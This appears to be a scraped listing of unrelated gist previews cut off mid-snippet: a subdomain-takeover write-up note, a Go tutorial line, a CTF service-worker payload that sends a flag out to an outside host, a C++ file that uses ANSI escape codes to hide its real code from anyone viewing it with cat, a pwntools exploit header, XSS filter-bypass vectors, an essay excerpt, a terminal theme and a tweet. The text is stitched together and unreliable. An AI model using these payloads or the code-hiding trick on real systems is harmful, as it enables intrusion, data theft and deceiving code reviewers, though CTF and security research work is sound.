Read proper write-up here: https://publish.whoisbinit.me/subdomain-takeover-on-api-techprep-fb-com-through-aws-elastic-beanstalk
I have included my script in another file (main.sh), which I used in discovering this vulnerability.
I didn't do any form of manual work in finding this vulnerability, and my workflow was fully automated with Bash scripting.
I have shortened my actual script, and only included the part which helped me in finding this vulnerability in the main.sh file.
This is inspired by A half-hour to learn Rust and Zig in 30 minutes.
Your first Go program as a classical "Hello World" is pretty simple:
First we create a workspace for our project:
| <iframe srcdoc="<form action="https://amazingnotes.asisctf.com:444/" method="POST" id=x> | |
| <input name=ext value=es> | |
| <textarea name=note> | |
| self.addEventListener("fetch", function(event) { | |
| if(event.request.url.indexOf("flag") != -1) | |
| return; | |
| event.respondWith(new Response(` | |
| <img src=//p6.is/givemeflag> | |
| <script> |
| /* So how does this work? | |
| I'm using ANSI escape sequences to control the behavior of the terminal while | |
| cat is outputting the text. I deliberately place these control sequences inside | |
| comments so the C++ compiler doesn't try to treat them as code.*/ | |
| //[2K[2D[A[2K[A[2K[A[2K[A[2K[A | |
| /*The commands in the fake code comment move the cursor to the left edge and | |
| clear out the line, allowing the fake code to take the place of the real code. | |
| And this explanation uses similar commands to wipe itself out too. */ | |
| //[2K[2D[A[2K[A[2K[A[2K[A | |
| #include <cstdio> |
| from __future__ import division, print_function | |
| import random | |
| from pwn import * | |
| import argparse | |
| import time | |
| context.log_level = 'error' | |
| parser = argparse.ArgumentParser() |
| <a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)"> | |
| [1] | |
| Bytes: | |
| \x09 \x0a \x0c \x0d \x20 \x2f | |
| <a/href="javascript:alert(1)"> | |
| <a\x09href="javascript:alert(1)"> | |
| [2,3] |
Peter Naur's classic 1985 essay "Programming as Theory Building" argues that a program is not its source code. A program is a shared mental construct (he uses the word theory) that lives in the minds of the people who work on it. If you lose the people, you lose the program. The code is merely a written representation of the program, and it's lossy, so you can't reconstruct
| { | |
| "name": "Build", | |
| "foreground": "#f1f1f1", | |
| "background": "#492D7C", | |
| "cursorColor": "#FFFFFF", | |
| "black": "#0C0C0C", | |
| "red": "#C50F1F", | |
| "green": "#13A10E", | |
| "yellow": "#C19C00", |
| <TaskerData sr="" dvi="1" tv="5.9.2"> | |
| <Profile sr="prof22" ve="2"> | |
| <cdate>1568555561584</cdate> | |
| <edate>1569679198184</edate> | |
| <id>22</id> | |
| <mid0>21</mid0> | |
| <nme>Rotate Ad ID</nme> | |
| <Time sr="con0"> | |
| <fh>0</fh> | |
| <fm>0</fm> |
| INTIGRITI | |
| @intigriti | |
| Red circleLIVE MENTOR SESSION: | |
| @TomNomNom | |
| will answer your #BugBounty and tooling questions for the next 4 hours! Comment with your question! | |
| https://twitter.com/intigriti/status/1258729529859768320 | |
| Question from @amalmurali47 : |
